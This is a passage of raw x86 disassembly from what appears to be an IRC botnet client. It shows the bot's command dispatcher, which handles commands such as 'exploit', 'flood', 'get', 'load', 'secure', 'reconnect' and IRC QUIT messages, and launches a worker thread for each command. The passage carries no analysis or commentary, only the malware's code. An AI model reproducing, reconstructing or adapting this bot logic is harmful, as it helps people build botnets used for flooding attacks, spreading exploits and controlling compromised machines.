		jle	short loc_403FCB
		push	offset unk_42BC38
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42BC10
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42BBF0
		jmp	loc_409601
; ---------------------------------------------------------------------------

loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 2680F34h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax

loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854

loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BBD8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42BBB8
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BB98
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1

loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB74
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4041D3

loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------

loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		nop
		call	near ptr 2670D55h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BB38
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------

loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BB1C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB03C
		call	dword_4CAEFC
		call	sub_418359
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BB00
		jmp	short loc_404285
; ---------------------------------------------------------------------------

loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BAE4

loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------

loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BACC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset byte_41528D
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40438D

loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_404377
; ---------------------------------------------------------------------------

loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42BA94
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42BA7C
		call	sub_4151AC

loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42BA78
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------

loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx

loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BA58
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset byte_40B161
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40448F

loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_404479
; ---------------------------------------------------------------------------

loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42BA1C
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42BA04

loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42B9D8
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------

loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------

loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx

loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------

loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B988
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42B954
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------

loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42B944
		push	offset dword_42B934
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42B928
		push	offset dword_42B918
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------

loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074

loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi

loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------

loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------

loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl

loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8F0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset byte_4111CD
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40470D

loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------

loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset dword_42B8B4
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------

loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084

loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B888
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset byte_40E503
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404813

loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------

loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42B848
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856

loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1

loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42B814
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404911

loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------

loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset dword_42B7D8
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE

loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42B728
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42B718
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42B6EC
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42B6C0
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------

loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C9F4

loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42C968
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		nop
		call	near ptr 77E75CB5h

loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CE758, ebx
		jz	short loc_404A4A
		push	offset dword_4CE138

loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42B684
		jmp	loc_404AE0
; ---------------------------------------------------------------------------

loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------

loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42B644
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------

loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE138
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CE758, 1
		pop	ecx
		push	esi
		push	offset unk_42B618

loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------

loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B5E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset byte_40B8A1
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_404BE6

loc_404BD0:				; CODE XREF: sub_401ACD+3117j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_404BD0
; ---------------------------------------------------------------------------

loc_404BE6:				; CODE XREF: sub_401ACD+3101j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42B5A0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_404BF7:				; CODE XREF: sub_401ACD+3036j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C0
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409778
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DE
		nop
		call	near ptr 2680F34h
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
